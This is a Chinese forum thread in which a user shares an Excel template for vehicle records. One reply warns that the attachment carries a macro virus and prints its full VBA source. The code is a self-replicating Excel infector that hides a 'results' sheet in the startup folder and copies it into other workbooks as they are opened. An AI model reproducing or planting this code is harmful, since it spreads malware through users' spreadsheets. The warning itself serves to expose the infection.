车辆管理档案

卢慧慧

自己制作 的一个关于车辆管理档案，分享给大家<br/>

cjainwei

<p>天呀，又带宏病毒的附件</p><p>Sub auto_open()<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = "ck_files"<br/>End Sub</p><p>Sub ck_files()<br/>&nbsp;&nbsp;&nbsp; c$ = Application.StartupPath<br/>&nbsp;&nbsp;&nbsp; m$ = Dir(c$ &amp; "\" &amp; "RESULTS.XLS")<br/>&nbsp;&nbsp;&nbsp; If m$ = "RESULTS.XLS" Then p = 1 Else p = 0<br/>&nbsp;&nbsp;&nbsp; If ActiveWorkbook.Modules.Count &gt; 0 Then w = 1 Else w = 0<br/>&nbsp;&nbsp;&nbsp; whichfile = p + w * 10<br/>&nbsp;&nbsp;&nbsp; <br/>Select Case whichfile<br/>&nbsp;&nbsp;&nbsp; Case 10<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = False<br/>&nbsp;&nbsp;&nbsp; n4$ = ActiveWorkbook.Name<br/>&nbsp;&nbsp;&nbsp; Sheets("results").Visible = True<br/>&nbsp;&nbsp;&nbsp; Sheets("results").Select<br/>&nbsp;&nbsp;&nbsp; Sheets("results").Copy<br/>&nbsp;&nbsp;&nbsp; With ActiveWorkbook<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Title = ""<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Subject = ""<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Author = ""<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Keywords = ""<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Comments = ""<br/>&nbsp;&nbsp;&nbsp; End With<br/>&nbsp;&nbsp;&nbsp; newname$ = ActiveWorkbook.Name<br/>&nbsp;&nbsp;&nbsp; c4$ = CurDir()<br/>&nbsp;&nbsp;&nbsp; ChDir Application.StartupPath<br/>&nbsp;&nbsp;&nbsp; ActiveWindow.Visible = False<br/>&nbsp;&nbsp;&nbsp; Workbooks(newname$).SaveAs FileName:=Application.StartupPath &amp; "/" &amp; "RESULTS.XLS", FileFormat:=xlNormal _<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; False, CreateBackup:=False<br/>&nbsp;&nbsp;&nbsp; ChDir c4$<br/>&nbsp;&nbsp;&nbsp; Workbooks(n4$).Sheets("results").Visible = False<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = ""<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = True<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = "RESULTS.XLS!ck_files"<br/>&nbsp;&nbsp;&nbsp; Case 1<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = False<br/>&nbsp;&nbsp;&nbsp; n4$ = ActiveWorkbook.Name<br/>&nbsp;&nbsp;&nbsp; p4$ = ActiveWorkbook.Path<br/>&nbsp;&nbsp;&nbsp; s$ = Workbooks(n4$).Sheets(1).Name<br/>&nbsp;&nbsp;&nbsp; If s$ &lt;&gt; "results" Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Workbooks(n4$).Sheets("results").Visible = False<br/>&nbsp;&nbsp;&nbsp; Else<br/>&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = ""<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = True<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = "RESULTS.XLS!ck_files"<br/>&nbsp;&nbsp;&nbsp; Case Else<br/>End Select<br/>End Sub</p>

wujublz

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看了下，自己不懂...[em01]

saman

THANKS FOR YOUR CONTRIBUTION!

虞诗

[em23]

18635887001

密码多少啊

HULIKE

谢谢

HULIKE

太实用了！做了稍微修改，已经在用了

HULIKE

不胜感激

zychkm

很好用，非常感谢